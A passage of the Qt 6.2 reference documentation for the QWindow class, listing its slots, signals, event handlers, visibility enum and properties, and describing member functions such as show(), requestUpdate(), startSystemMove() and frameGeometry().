|  QWindow::Visibility  | **[visibility](qwindow#visibility-prop)**() const |
|  QVulkanInstance \* | **[vulkanInstance](qwindow#vulkanInstance)**() const |
|  int  | **[width](qwindow#width-prop)**() const |
|  WId  | **[winId](qwindow#winId)**() const |
|  Qt::WindowState  | **[windowState](qwindow#windowState)**() const |
|  Qt::WindowStates  | **[windowStates](qwindow#windowStates)**() const |
|  int  | **[x](qwindow#x-prop)**() const |
|  int  | **[y](qwindow#y-prop)**() const |

 Reimplemented Public Functions
------------------------------

 

|  |  |
| --- | --- |
|  virtual QSurfaceFormat  | **[format](qwindow#format)**() const override |
|  virtual QSize  | **[size](qwindow#size)**() const override |
|  virtual QSurface::SurfaceType  | **[surfaceType](qwindow#surfaceType)**() const override |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[alert](qwindow#alert)**(int *msec*) |
|  bool  | **[close](qwindow#close)**() |
|  void  | **[hide](qwindow#hide)**() |
|  void  | **[lower](qwindow#lower)**() |
|  void  | **[raise](qwindow#raise)**() |
|  void  | **[requestActivate](qwindow#requestActivate)**() |
|  void  | **[requestUpdate](qwindow#requestUpdate)**() |
|  void  | **[setGeometry](qwindow#setGeometry-1)**(const QRect &*rect*) |
|  void  | **[setGeometry](qwindow#setGeometry)**(int *posx*, int *posy*, int *w*, int *h*) |
|  void  | **[setHeight](qwindow#height-prop)**(int *arg*) |
|  void  | **[setMaximumHeight](qwindow#maximumHeight-prop)**(int *h*) |
|  void  | **[setMaximumWidth](qwindow#maximumWidth-prop)**(int *w*) |
|  void  | **[setMinimumHeight](qwindow#minimumHeight-prop)**(int *h*) |
|  void  | **[setMinimumWidth](qwindow#minimumWidth-prop)**(int *w*) |
|  void  | **[setTitle](qwindow#title-prop)**(const QString &) |
|  void  | **[setVisible](qwindow#visible-prop)**(bool *visible*) |
|  void  | **[setWidth](qwindow#width-prop)**(int *arg*) |
|  void  | **[setX](qwindow#x-prop)**(int *arg*) |
|  void  | **[setY](qwindow#y-prop)**(int *arg*) |
|  void  | **[show](qwindow#show)**() |
|  void  | **[showFullScreen](qwindow#showFullScreen)**() |
|  void  | **[showMaximized](qwindow#showMaximized)**() |
|  void  | **[showMinimized](qwindow#showMinimized)**() |
|  void  | **[showNormal](qwindow#showNormal)**() |
|  bool  | **[startSystemMove](qwindow#startSystemMove)**() |
|  bool  | **[startSystemResize](qwindow#startSystemResize)**(Qt::Edges *edges*) |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[activeChanged](qwindow#active-prop)**() |
|  void  | **[contentOrientationChanged](qwindow#contentOrientation-prop)**(Qt::ScreenOrientation *orientation*) |
|  void  | **[focusObjectChanged](qwindow#focusObjectChanged)**(QObject \**object*) |
|  void  | **[heightChanged](qwindow#height-prop)**(int *arg*) |
|  void  | **[maximumHeightChanged](qwindow#maximumHeight-prop)**(int *arg*) |
|  void  | **[maximumWidthChanged](qwindow#maximumWidth-prop)**(int *arg*) |
|  void  | **[minimumHeightChanged](qwindow#minimumHeight-prop)**(int *arg*) |
|  void  | **[minimumWidthChanged](qwindow#minimumWidth-prop)**(int *arg*) |
|  void  | **[modalityChanged](qwindow#modalityChanged)**(Qt::WindowModality *modality*) |
|  void  | **[opacityChanged](qwindow#opacity-prop)**(qreal *opacity*) |
|  void  | **[screenChanged](qwindow#screenChanged)**(QScreen \**screen*) |
|  void  | **[transientParentChanged](qwindow#transientParent-prop)**(QWindow \**transientParent*) |
|  void  | **[visibilityChanged](qwindow#visibility-prop)**(QWindow::Visibility *visibility*) |
|  void  | **[visibleChanged](qwindow#visible-prop)**(bool *arg*) |
|  void  | **[widthChanged](qwindow#width-prop)**(int *arg*) |
|  void  | **[windowStateChanged](qwindow#windowStateChanged)**(Qt::WindowState *windowState*) |
|  void  | **[windowTitleChanged](qwindow#title-prop)**(const QString &*title*) |
|  void  | **[xChanged](qwindow#x-prop)**(int *arg*) |
|  void  | **[yChanged](qwindow#y-prop)**(int *arg*) |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QWindow \* | **[fromWinId](qwindow#fromWinId)**(WId *id*) |

 Protected Functions
-------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[closeEvent](qwindow#closeEvent)**(QCloseEvent \**ev*) |
|  virtual void  | **[exposeEvent](qwindow#exposeEvent)**(QExposeEvent \**ev*) |
|  virtual void  | **[focusInEvent](qwindow#focusInEvent)**(QFocusEvent \**ev*) |
|  virtual void  | **[focusOutEvent](qwindow#focusOutEvent)**(QFocusEvent \**ev*) |
|  virtual void  | **[hideEvent](qwindow#hideEvent)**(QHideEvent \**ev*) |
|  virtual void  | **[keyPressEvent](qwindow#keyPressEvent)**(QKeyEvent \**ev*) |
|  virtual void  | **[keyReleaseEvent](qwindow#keyReleaseEvent)**(QKeyEvent \**ev*) |
|  virtual void  | **[mouseDoubleClickEvent](qwindow#mouseDoubleClickEvent)**(QMouseEvent \**ev*) |
|  virtual void  | **[mouseMoveEvent](qwindow#mouseMoveEvent)**(QMouseEvent \**ev*) |
|  virtual void  | **[mousePressEvent](qwindow#mousePressEvent)**(QMouseEvent \**ev*) |
|  virtual void  | **[mouseReleaseEvent](qwindow#mouseReleaseEvent)**(QMouseEvent \**ev*) |
|  virtual void  | **[moveEvent](qwindow#moveEvent)**(QMoveEvent \**ev*) |
|  virtual bool  | **[nativeEvent](qwindow#nativeEvent)**(const QByteArray &*eventType*, void \**message*, qintptr \**result*) |
|  virtual void  | **[paintEvent](qwindow#paintEvent)**(QPaintEvent \**ev*) |
|  virtual void  | **[resizeEvent](qwindow#resizeEvent)**(QResizeEvent \**ev*) |
|  virtual void  | **[showEvent](qwindow#showEvent)**(QShowEvent \**ev*) |
|  virtual void  | **[tabletEvent](qwindow#tabletEvent)**(QTabletEvent \**ev*) |
|  virtual void  | **[touchEvent](qwindow#touchEvent)**(QTouchEvent \**ev*) |
|  virtual void  | **[wheelEvent](qwindow#wheelEvent)**(QWheelEvent \**ev*) |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[event](qwindow#event)**(QEvent \**ev*) override |

 Detailed Description
--------------------

 A window that is supplied a parent becomes a native child window of their parent window.

 An application will typically use [QWidget](qwidget) or [QQuickView](qquickview) for its UI, and not QWindow directly. Still, it is possible to render directly to a QWindow with [QBackingStore](qbackingstore) or [QOpenGLContext](qopenglcontext), when wanting to keep dependencies to a minimum or when wanting to use OpenGL directly. The [Raster Window Example](https://doc.qt.io/qt-6.2/qtgui-rasterwindow-example.html) and [OpenGL Window Example](https://doc.qt.io/qt-6.2/qtopengl-openglwindow-example.html) are useful reference examples for how to render to a QWindow using either approach.

 ### Resource Management

 Windows can potentially use a lot of memory. A usual measurement is width times height times color depth. A window might also include multiple buffers to support double and triple buffering, as well as depth and stencil buffers. To release a window's memory resources, call the [destroy](qwindow#destroy)() function.

 ### Content Orientation

 QWindow has [reportContentOrientationChange](qwindow#contentOrientation-prop)() that can be used to specify the layout of the window contents in relation to the screen. The content orientation is simply a hint to the windowing system about which orientation the window contents are in. It's useful when you wish to keep the same window size, but rotate the contents instead, especially when doing rotation animations between different orientations. The windowing system might use this value to determine the layout of system popups or dialogs.

 ### Visibility and Windowing System Exposure

 By default, the window is not visible, and you must call [setVisible](qwindow#visible-prop)(true), or [show](qwindow#show)() or similar to make it visible. To make a window hidden again, call [setVisible](qwindow#visible-prop)(false) or [hide](qwindow#hide)(). The visible property describes the state the application wants the window to be in. Depending on the underlying system, a visible window might still not be shown on the screen. It could, for instance, be covered by other opaque windows or moved outside the physical area of the screen. On windowing systems that have exposure notifications, the [isExposed](qwindow#isExposed)() accessor describes whether the window should be treated as directly visible on screen. The [exposeEvent](qwindow#exposeEvent)() function is called whenever an area of the window is invalidated, for example due to the exposure in the windowing system changing. On windowing systems that do not make this information visible to the application, [isExposed](qwindow#isExposed)() will simply return the same value as [isVisible](qwindow#visible-prop)().

 [QWindow::Visibility](qwindow#Visibility-enum) queried through [visibility](qwindow#visibility-prop)() is a convenience API combining the functions of visible() and [windowStates](qwindow#windowStates)().

 ### Rendering

 There are two Qt APIs that can be used to render content into a window, [QBackingStore](qbackingstore) for rendering with a [QPainter](qpainter) and flushing the contents to a window with type [QSurface::RasterSurface](qsurface#SurfaceType-enum), and [QOpenGLContext](qopenglcontext) for rendering with OpenGL to a window with type [QSurface::OpenGLSurface](qsurface#SurfaceType-enum).

 The application can start rendering as soon as [isExposed](qwindow#isExposed)() returns `true`, and can keep rendering until it [isExposed](qwindow#isExposed)() returns `false`. To find out when [isExposed](qwindow#isExposed)() changes, reimplement [exposeEvent](qwindow#exposeEvent)(). The window will always get a resize event before the first expose event.

 ### Initial Geometry

 If the window's width and height are left uninitialized, the window will get a reasonable default geometry from the platform window. If the position is left uninitialized, then the platform window will allow the windowing system to position the window. For example on X11, the window manager usually does some kind of smart positioning to try to avoid having new windows completely obscure existing windows. However [setGeometry](qwindow#setGeometry)() initializes both the position and the size, so if you want a fixed size but an automatic position, you should call [resize](qwindow#resize)() or [setWidth](qwindow#width-prop)() and [setHeight](qwindow#height-prop)() instead.

 Member Type Documentation
-------------------------

 ### enum QWindow::AncestorMode

 This enum is used to control whether or not transient parents should be considered ancestors.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QWindow::ExcludeTransients` | `0` | Transient parents are not considered ancestors. |
| `QWindow::IncludeTransients` | `1` | Transient parents are considered ancestors. |

 ### 
`[since 5.1]` enum QWindow::Visibility

 This enum describes what part of the screen the window occupies or should occupy.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QWindow::Windowed` | `2` | The window occupies part of the screen, but not necessarily the entire screen. This state will occur only on windowing systems which support showing multiple windows simultaneously. In this state it is possible for the user to move and resize the window manually, if WindowFlags permit it and if it is supported by the windowing system. |
| `QWindow::Minimized` | `3` | The window is reduced to an entry or icon on the task bar, dock, task list or desktop, depending on how the windowing system handles minimized windows. |
| `QWindow::Maximized` | `4` | The window occupies one entire screen, and the titlebar is still visible. On most windowing systems this is the state achieved by clicking the maximize button on the toolbar. |
| `QWindow::FullScreen` | `5` | The window occupies one entire screen, is not resizable, and there is no titlebar. On some platforms which do not support showing multiple simultaneous windows, this can be the usual visibility when the window is not hidden. |
| `QWindow::AutomaticVisibility` | `1` | This means to give the window a default visible state, which might be fullscreen or windowed depending on the platform. It can be given as a parameter to [setVisibility](qwindow#visibility-prop) but will never be read back from the visibility accessor. |
| `QWindow::Hidden` | `0` | The window is not visible in any way, however it may remember a latent visibility which can be restored by setting AutomaticVisibility. |

 This enum was introduced or modified in Qt 5.1.

  Property Documentation
----------------------

 ### 
`[read-only, since 5.1]` active : const bool

 This property holds the active status of the window

 This property was introduced in Qt 5.1.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **[isActive](qwindow#isActive)**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **activeChanged**() |

 **See also** [requestActivate](qwindow#requestActivate)().

 ### 
contentOrientation : [Qt::ScreenOrientation](qt#ScreenOrientation-enum)

 This property holds the orientation of the window's contents

 This is a hint to the window manager in case it needs to display additional content like popups, dialogs, status bars, or similar in relation to the window.

 The recommended orientation is [QScreen::orientation](qscreen#orientation-prop)() but an application doesn't have to support all possible orientations, and thus can opt to ignore the current screen orientation.

 The difference between the window and the content orientation determines how much to rotate the content by. [QScreen::angleBetween](qscreen#angleBetween)(), [QScreen::transformBetween](qscreen#transformBetween)(), and [QScreen::mapBetween](qscreen#mapBetween)() can be used to compute the necessary transform.

 The default value is [Qt::PrimaryOrientation](qt#ScreenOrientation-enum)

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::ScreenOrientation  | **contentOrientation**() const |
|  void  | **reportContentOrientationChange**(Qt::ScreenOrientation *orientation*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **contentOrientationChanged**(Qt::ScreenOrientation *orientation*) |

 ### 
flags : [Qt::WindowFlags](qt#WindowType-enum)

 This property holds the window flags of the window

 The window flags control the window's appearance in the windowing system, whether it's a dialog, popup, or a regular window, and whether it should have a title bar, etc.

 The actual window flags might differ from the flags set with setFlags() if the requested flags could not be fulfilled.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::WindowFlags  | **flags**() const |
|  void  | **setFlags**(Qt::WindowFlags *flags*) |

 **See also** [setFlag](qwindow#setFlag)().

 ### 
height : int

 This property holds the height of the window's geometry

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **height**() const |
|  void  | **setHeight**(int *arg*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **heightChanged**(int *arg*) |

 ### 
maximumHeight : int

 This property holds the maximum height of the window's geometry

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **maximumHeight**() const |
|  void  | **setMaximumHeight**(int *h*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **maximumHeightChanged**(int *arg*) |

 ### 
maximumWidth : int

 This property holds the maximum width of the window's geometry

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **maximumWidth**() const |
|  void  | **setMaximumWidth**(int *w*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **maximumWidthChanged**(int *arg*) |

 ### 
minimumHeight : int

 This property holds the minimum height of the window's geometry

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **minimumHeight**() const |
|  void  | **setMinimumHeight**(int *h*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **minimumHeightChanged**(int *arg*) |

 ### 
minimumWidth : int

 This property holds the minimum width of the window's geometry

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **minimumWidth**() const |
|  void  | **setMinimumWidth**(int *w*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **minimumWidthChanged**(int *arg*) |

 ### 
modality : [Qt::WindowModality](qt#WindowModality-enum)

 This property holds the modality of the window

 A modal window prevents other windows from receiving input events. Qt supports two types of modality: [Qt::WindowModal](qt#WindowModality-enum) and [Qt::ApplicationModal](qt#WindowModality-enum).

 By default, this property is [Qt::NonModal](qt#WindowModality-enum)

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::WindowModality  | **modality**() const |
|  void  | **setModality**(Qt::WindowModality *modality*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[modalityChanged](qwindow#modalityChanged)**(Qt::WindowModality *modality*) |

 **See also** [Qt::WindowModality](qt#WindowModality-enum).

 ### 
`[since 5.1]` opacity : [qreal](qtglobal#qreal-typedef)

 This property holds the opacity of the window in the windowing system.

 If the windowing system supports window opacity, this can be used to fade the window in and out, or to make it semitransparent.

 A value of 1.0 or above is treated as fully opaque, whereas a value of 0.0 or below is treated as fully transparent. Values inbetween represent varying levels of translucency between the two extremes.

 The default value is 1.0.

 This property was introduced in Qt 5.1.

 **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **opacity**() const |
|  void  | **setOpacity**(qreal *level*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **opacityChanged**(qreal *opacity*) |

 ### 
title : [QString](qstring)

 This property holds the window's title in the windowing system

 The window title might appear in the title area of the window decorations, depending on the windowing system and the window flags. It might also be used by the windowing system to identify the window in other contexts, such as in the task switcher.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **title**() const |
|  void  | **setTitle**(const QString &) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **windowTitleChanged**(const QString &*title*) |

 **See also** [flags](qwindow#flags-prop)().

 ### 
`[since 5.13]` transientParent : [QWindow](qwindow#QWindow)\*

 This property holds the window for which this window is a transient pop-up

 This is a hint to the window manager that this window is a dialog or pop-up on behalf of the transient parent.

 In order to cause the window to be centered above its transient *parent* by default, depending on the window manager, it may also be necessary to call [setFlags](qwindow#flags-prop)() with a suitable [Qt::WindowType](qt#WindowType-enum) (such as `Qt::Dialog`).

 This property was introduced in Qt 5.13.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QWindow \* | **transientParent**() const |
|  void  | **setTransientParent**(QWindow \**parent*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **transientParentChanged**(QWindow \**transientParent*) |

 **See also** [parent](qwindow#parent)().

 ### 
`[since 5.1]` visibility : [Visibility](qwindow#Visibility-enum)

 This property holds the screen-occupation state of the window

 Visibility is whether the window should appear in the windowing system as normal, minimized, maximized, fullscreen or hidden.

 To set the visibility to [AutomaticVisibility](qwindow#Visibility-enum) means to give the window a default visible state, which might be fullscreen or windowed depending on the platform. When reading the visibility property you will always get the actual state, never [AutomaticVisibility](qwindow#Visibility-enum).

 This property was introduced in Qt 5.1.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QWindow::Visibility  | **visibility**() const |
|  void  | **setVisibility**(QWindow::Visibility *v*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **visibilityChanged**(QWindow::Visibility *visibility*) |

 ### 
visible : bool

 This property holds whether the window is visible or not

 This property controls the visibility of the window in the windowing system.

 By default, the window is not visible, you must call setVisible(true), or [show](qwindow#show)() or similar to make it visible.

  **Note:** Hiding a window does not remove the window from the windowing system, it only hides it. On windowing systems that give full screen applications a dedicated desktop (such as macOS), hiding a full screen window will not remove that desktop, but leave it blank. Another window from the same application might be shown full screen, and will fill that desktop. Use [QWindow::close](qwindow#close) to completely remove a window from the windowing system.

  **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isVisible**() const |
|  void  | **setVisible**(bool *visible*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **visibleChanged**(bool *arg*) |

 **See also** [show](qwindow#show)().

 ### 
width : int

 This property holds the width of the window's geometry

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **width**() const |
|  void  | **setWidth**(int *arg*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **widthChanged**(int *arg*) |

 ### 
x : int

 This property holds the x position of the window's geometry

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **x**() const |
|  void  | **setX**(int *arg*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **xChanged**(int *arg*) |

 ### 
y : int

 This property holds the y position of the window's geometry

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **y**() const |
|  void  | **setY**(int *arg*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **yChanged**(int *arg*) |

  Member Function Documentation
-----------------------------

 ### QWindow::QWindow([QWindow](qwindow#QWindow) \**parent*)

 Creates a window as a child of the given *parent* window.

 The window will be embedded inside the parent window, its coordinates relative to the parent.

 The screen is inherited from the parent.

 **See also** [setParent](qwindow#setParent)().

 ### QWindow::QWindow([QScreen](qscreen) \**targetScreen* = nullptr)

 Creates a window as a top level on the *targetScreen*.

 The window is not shown until [setVisible](qwindow#visible-prop)(true), [show](qwindow#show)(), or similar is called.

 **See also** [setScreen](qwindow#setScreen)().

 ### 
`[slot, since 5.1]` void QWindow::alert(int *msec*)

 Causes an alert to be shown for *msec* milliseconds. If *msec* is `0` (the default), then the alert is shown indefinitely until the window becomes active again. This function has no effect on an active window.

 In alert state, the window indicates that it demands attention, for example by flashing or bouncing the taskbar entry.

 This function was introduced in Qt 5.1.

 ### 
`[slot]` bool QWindow::close()

 Close the window.

 This closes the window, effectively calling [destroy](qwindow#destroy)(), and potentially quitting the application. Returns `true` on success, false if it has a parent window (in which case the top level window should be closed instead).

 **See also** [destroy](qwindow#destroy)(), [QGuiApplication::quitOnLastWindowClosed](qguiapplication#quitOnLastWindowClosed-prop)(), and [closeEvent](qwindow#closeEvent)().

 ### 
`[signal]` void QWindow::focusObjectChanged([QObject](qobject#QObject) \**object*)

 This signal is emitted when the final receiver of events tied to focus is changed to *object*.

 **See also** [focusObject](qwindow#focusObject)().

 ### 
`[slot]` void QWindow::hide()

 Hides the window.

 Equivalent to calling [setVisible](qwindow#visible-prop)(false).

 **See also** [show](qwindow#show)() and [setVisible](qwindow#visible-prop)().

 ### 
`[slot]` void QWindow::lower()

 Lower the window in the windowing system.

 Requests that the window be lowered to appear below other windows.

 ### 
`[signal]` void QWindow::modalityChanged([Qt::WindowModality](qt#WindowModality-enum) *modality*)

 This signal is emitted when the Qwindow::modality property changes to *modality*.

 **Note:** Notifier signal for property [modality](qwindow#modality-prop). 

 ### 
`[slot]` void QWindow::raise()

 Raise the window in the windowing system.

 Requests that the window be raised to appear above other windows.

 ### 
`[slot]` void QWindow::requestActivate()

 Requests the window to be activated, i.e. receive keyboard focus.

 **See also** [isActive](qwindow#isActive)() and [QGuiApplication::focusWindow](qguiapplication#focusWindow)().

 ### 
`[slot, since 5.5]` void QWindow::requestUpdate()

 Schedules a [QEvent::UpdateRequest](qevent#Type-enum) event to be delivered to this window.

 The event is delivered in sync with the display vsync on platforms where this is possible. Otherwise, the event is delivered after a delay of 5 ms. The additional time is there to give the event loop a bit of idle time to gather system events, and can be overridden using the QT\_QPA\_UPDATE\_IDLE\_TIME environment variable.

 When driving animations, this function should be called once after drawing has completed. Calling this function multiple times will result in a single event being delivered to the window.

 Subclasses of [QWindow](qwindow) should reimplement [event](qwindow#event)(), intercept the event and call the application's rendering code, then call the base class implementation.

  **Note:** The subclass' reimplementation of [event](qwindow#event)() must invoke the base class implementation, unless it is absolutely sure that the event does not need to be handled by the base class. For example, the default implementation of this function relies on [QEvent::Timer](qevent#Type-enum) events. Filtering them away would therefore break the delivery of the update events.

  This function was introduced in Qt 5.5.

 ### 
`[signal]` void QWindow::screenChanged([QScreen](qscreen) \**screen*)

 This signal is emitted when a window's *screen* changes, either by being set explicitly with [setScreen](qwindow#setScreen)(), or automatically when the window's screen is removed.

 ### 
`[slot]` void QWindow::setGeometry(const [QRect](qrect) &*rect*)

 Sets the geometry of the window, excluding its window frame, to *rect*.

 The geometry is in relation to the virtualGeometry() of its screen.

 **See also** [geometry](qwindow#geometry)().

 ### 
`[slot]` void QWindow::setGeometry(int *posx*, int *posy*, int *w*, int *h*)

 Sets the geometry of the window, excluding its window frame, to a rectangle constructed from *posx*, *posy*, *w* and *h*.

 The geometry is in relation to the virtualGeometry() of its screen.

 **See also** [geometry](qwindow#geometry)().

 ### 
`[slot]` void QWindow::show()

 Shows the window.

 This is equivalent to calling [showFullScreen](qwindow#showFullScreen)(), [showMaximized](qwindow#showMaximized)(), or [showNormal](qwindow#showNormal)(), depending on the platform's default behavior for the window type and flags.

 **See also** [showFullScreen](qwindow#showFullScreen)(), [showMaximized](qwindow#showMaximized)(), [showNormal](qwindow#showNormal)(), [hide](qwindow#hide)(), [QStyleHints::showIsFullScreen](qstylehints#showIsFullScreen-prop)(), and [flags](qwindow#flags-prop)().

 ### 
`[slot]` void QWindow::showFullScreen()

 Shows the window as fullscreen.

 Equivalent to calling [setWindowStates](qwindow#setWindowStates)([Qt::WindowFullScreen](qt#WindowState-enum)) and then [setVisible](qwindow#visible-prop)(true).

 See the [QWidget::showFullScreen](qwidget#showFullScreen)() documentation for platform-specific considerations and limitations.

 **See also** [setWindowStates](qwindow#setWindowStates)() and [setVisible](qwindow#visible-prop)().

 ### 
`[slot]` void QWindow::showMaximized()

 Shows the window as maximized.

 Equivalent to calling [setWindowStates](qwindow#setWindowStates)([Qt::WindowMaximized](qt#WindowState-enum)) and then [setVisible](qwindow#visible-prop)(true).

 **See also** [setWindowStates](qwindow#setWindowStates)() and [setVisible](qwindow#visible-prop)().

 ### 
`[slot]` void QWindow::showMinimized()

 Shows the window as minimized.

 Equivalent to calling [setWindowStates](qwindow#setWindowStates)([Qt::WindowMinimized](qt#WindowState-enum)) and then [setVisible](qwindow#visible-prop)(true).

 **See also** [setWindowStates](qwindow#setWindowStates)() and [setVisible](qwindow#visible-prop)().

 ### 
`[slot]` void QWindow::showNormal()

 Shows the window as normal, i.e. neither maximized, minimized, nor fullscreen.

 Equivalent to calling [setWindowStates](qwindow#setWindowStates)([Qt::WindowNoState](qt#WindowState-enum)) and then [setVisible](qwindow#visible-prop)(true).

 **See also** [setWindowStates](qwindow#setWindowStates)() and [setVisible](qwindow#visible-prop)().

 ### 
`[slot, since 5.15]` bool QWindow::startSystemMove()

 Start a system-specific move operation

 Calling this will start an interactive move operation on the window by platforms that support it. The actual behavior may vary depending on the platform. Usually, it will make the window follow the mouse cursor until a mouse button is released.

 On platforms that support it, this method of moving windows is preferred over `setPosition`, because it allows a more native look-and-feel of moving windows, e.g. letting the window manager snap this window against other windows, or special tiling or resizing behavior with animations when dragged to the edge of the screen. Furthermore, on some platforms such as Wayland, `setPosition` is not supported, so this is the only way the application can influence its position.

 Returns true if the operation was supported by the system.

 This function was introduced in Qt 5.15.

 ### 
`[slot, since 5.15]` bool QWindow::startSystemResize([Qt::Edges](qt#Edge-enum) *edges*)

 Start a system-specific resize operation

 Calling this will start an interactive resize operation on the window by platforms that support it. The actual behavior may vary depending on the platform. Usually, it will make the window resize so that its edge follows the mouse cursor.

 On platforms that support it, this method of resizing windows is preferred over `setGeometry`, because it allows a more native look and feel of resizing windows, e.g. letting the window manager snap this window against other windows, or special resizing behavior with animations when dragged to the edge of the screen.

 *edges* should either be a single edge, or two adjacent edges (a corner). Other values are not allowed.

 Returns true if the operation was supported by the system.

 This function was introduced in Qt 5.15.

 ### 
`[signal]` void QWindow::windowStateChanged([Qt::WindowState](qt#WindowState-enum) *windowState*)

 This signal is emitted when the *windowState* changes, either by being set explicitly with [setWindowStates](qwindow#setWindowStates)(), or automatically when the user clicks one of the titlebar buttons or by other means.

 ### 
`[virtual]` QWindow::~QWindow()

 Destroys the window.

 ### 
[QSize](qsize) QWindow::baseSize() const

 Returns the base size of the window.

 **See also** [setBaseSize](qwindow#setBaseSize)().

 ### 
`[virtual protected]` void QWindow::closeEvent([QCloseEvent](qcloseevent) \**ev*)

 Override this to handle close events (*ev*).

 The function is called when the window is requested to close. Call [QEvent::ignore](qevent#ignore)() on the event if you want to prevent the window from being closed.

 **See also** [close](qwindow#close)().

 ### 
void QWindow::create()

 Allocates the platform resources associated with the window.

 It is at this point that the surface format set using [setFormat](qwindow#setFormat)() gets resolved into an actual native surface. However, the window remains hidden until [setVisible](qwindow#visible-prop)() is called.

 Note that it is not usually necessary to call this function directly, as it will be implicitly called by [show](qwindow#show)(), [setVisible](qwindow#visible-prop)(), and other functions that require access to the platform resources.

 Call [destroy](qwindow#destroy)() to free the platform resources if necessary.

 **See also** [destroy](qwindow#destroy)().

 ### 
[QCursor](qcursor) QWindow::cursor() const

 the cursor shape for this window

 **See also** [setCursor](qwindow#setCursor)() and [unsetCursor](qwindow#unsetCursor)().

 ### 
void QWindow::destroy()

 Releases the native platform resources associated with this window.

 **See also** [create](qwindow#create)().

 ### 
[qreal](qtglobal#qreal-typedef) QWindow::devicePixelRatio() const

 Returns the ratio between physical pixels and device-independent pixels for the window. This value is dependent on the screen the window is on, and may change when the window is moved.

 Common values are 1.0 on normal displays and 2.0 on Apple "retina" displays.

  **Note:** For windows not backed by a platform window, meaning that [create](qwindow#create)() was not called, the function will fall back to the associated [QScreen](qscreen)'s device pixel ratio.

  **See also** [QScreen::devicePixelRatio](qscreen#devicePixelRatio-prop)().

 ### 
`[override virtual protected]` bool QWindow::event([QEvent](qevent) \**ev*)

 Reimplements: [QObject::event](qobject#event)(QEvent \*e).

 Override this to handle any event (*ev*) sent to the window. Return `true` if the event was recognized and processed.

 Remember to call the base class version if you wish for mouse events, key events, resize events, etc to be dispatched as usual.

 ### 
`[virtual protected]` void QWindow::exposeEvent([QExposeEvent](qexposeevent) \**ev*)

 The expose event (*ev*) is sent by the window system when a window moves between the un-exposed and exposed states.

 An exposed window is potentially visible to the user. If the window is moved off screen, is made totally obscured by another window, is minimized, or similar, this function might be called and the value of [isExposed](qwindow#isExposed)() might change to false. You may use this event to limit expensive operations such as animations to only run when the window is exposed.

 This event should not be used to paint. To handle painting implement [paintEvent](qwindow#paintEvent)() instead.

 A resize event will always be sent before the expose event the first time a window is shown.

 **See also** [paintEvent](qwindow#paintEvent)() and [isExposed](qwindow#isExposed)().

 ### 
[QString](qstring) QWindow::filePath() const

 the file name this window is representing.

 **See also** [setFilePath](qwindow#setFilePath)().

 ### 
`[virtual protected]` void QWindow::focusInEvent([QFocusEvent](qfocusevent) \**ev*)

 Override this to handle focus in events (*ev*).

 Focus in events are sent when the window receives keyboard focus.

 **See also** [focusOutEvent](qwindow#focusOutEvent)().

 ### 
`[virtual]` [QObject](qobject#QObject) \*QWindow::focusObject() const

 Returns the [QObject](qobject) that will be the final receiver of events tied focus, such as key events.

 ### 
`[virtual protected]` void QWindow::focusOutEvent([QFocusEvent](qfocusevent) \**ev*)

 Override this to handle focus out events (*ev*).

 Focus out events are sent when the window loses keyboard focus.

 **See also** [focusInEvent](qwindow#focusInEvent)().

 ### 
`[override virtual]` [QSurfaceFormat](qsurfaceformat) QWindow::format() const

 Reimplements: [QSurface::format() const](qsurface#format).

 Returns the actual format of this window.

 After the window has been created, this function will return the actual surface format of the window. It might differ from the requested format if the requested format could not be fulfilled by the platform. It might also be a superset, for example certain buffer sizes may be larger than requested.

  **Note:** Depending on the platform, certain values in this surface format may still contain the requested values, that is, the values that have been passed to [setFormat](qwindow#setFormat)(). Typical examples are the OpenGL version, profile and options. These may not get updated during [create](qwindow#create)() since these are context specific and a single window may be used together with multiple contexts over its lifetime. Use the [QOpenGLContext](qopenglcontext)'s format() instead to query such values.

  **See also** [setFormat](qwindow#setFormat)(), [create](qwindow#create)(), [requestedFormat](qwindow#requestedFormat)(), and [QOpenGLContext::format](qopenglcontext#format)().

 ### 
[QRect](qrect) QWindow::frameGeometry() const

 Returns the geometry of the window, including its window frame.

 The geometry is in relation to the virtualGeometry() of its screen.

 **See also** [geometry](qwindow#geometry)() and [frameMargins](qwindow#frameMargins)().

 ### 
